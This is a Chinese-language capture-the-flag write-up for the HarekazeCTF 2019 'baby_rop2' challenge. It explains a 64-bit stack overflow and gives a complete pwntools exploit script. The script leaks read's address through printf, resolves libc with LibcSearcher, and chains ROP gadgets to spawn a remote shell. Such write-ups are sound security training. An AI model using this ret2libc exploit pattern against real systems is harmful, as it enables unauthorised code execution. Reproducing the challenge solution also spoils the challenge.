HarekazeCTF_2019_baby_rop2
1.查看文件信息
checksec一下:64位文件,开启了RELOR和NX保护
运行:输入了一个字符串
2.IDA分析
buf距离rbp只有0x20个字节,但是可以读入0x100个字节,存在栈溢出,
查找程序函数和字符串,不存在system和’/bin/sh’,因此需要泄露libc版本查找
因为本程序时64位程序,传递参数时前6个参数用寄存器RDI、RSI、RDX、RCX、R8、R9,传递,其余参数才通过栈传递
因此利用ROPgadget指令寻找"pop rdi"“pop rsi”
不存在单独利用rsi的指令,没有关系,随意设置r15就可以
利用printf泄露函数地址,参数类型为printf(“%s”,address),
第一个参数我们利用程序自带的’Welcome …,%s’字符串
第二个参数我们选择打印read函数的真正地址来泄露libc
payload = b’a’*(0x20 + 8) + p64(rdi_add) + p64(format_add) + p64(rsi_add) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_add)
解释第一个payload:
- b’a’*(0x20 + 8) :填充buf和rbp
- p64(rdi_add) + p64(format_add):该指令为 **pop rdi;ret **,执行后将p64(format_add)赋值给寄存器rdi,为printf的第一个参数
- p64(rsi_add) + p64(read_got) + p64(0):同理,pop rsi; pop r15; ret 执行后将p64(read_got)赋值给寄存器rsi,printf的第二个参数,将p64(0)赋值给寄存器r15,无意义
- p64(printf_plt):执行ret指令后,返回到printf在plt表中的地址,相当于执行printf函数
- p64(main_add):printf函数的返回地址,得到read真正地址后返回程序开始,重新执行
3.构造exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node4.buuoj.cn",27387)
elf = ELF("babyrop2")
main_add = elf.sym['main']
printf_plt = elf.plt['printf']
read_got = elf.got['read']
rdi_add = 0x400733
rsi_add = 0x400731
format_add = 0x400770
payload = b'a'*(0x20 + 8) + p64(rdi_add) + p64(format_add) + p64(rsi_add) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_add)
p.recvuntil("name? ")
p.sendline(payload)
read_add = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 还没理解
print (hex(read_add))
libc = LibcSearcher('read',read_add)
libc_base = read_add - libc.dump('read')
sys_add = libc_base + libc.dump('system')
bin_add = libc_base + libc.dump('str_bin_sh')
payload_ = b'a'*(0x20 + 8) + p64(rdi_add) + p64(bin_add) + p64(sys_add)
p.recvuntil("name? ")
p.sendline(payload_)
p.interactive()
python3会出现选择libc版本的界面,选择相应的版本,第6个
进入shell后直接 cat flag 无效 ,find -name ‘flag’ 寻找flag
路径为 /home/babyrop2/flag,直接 cat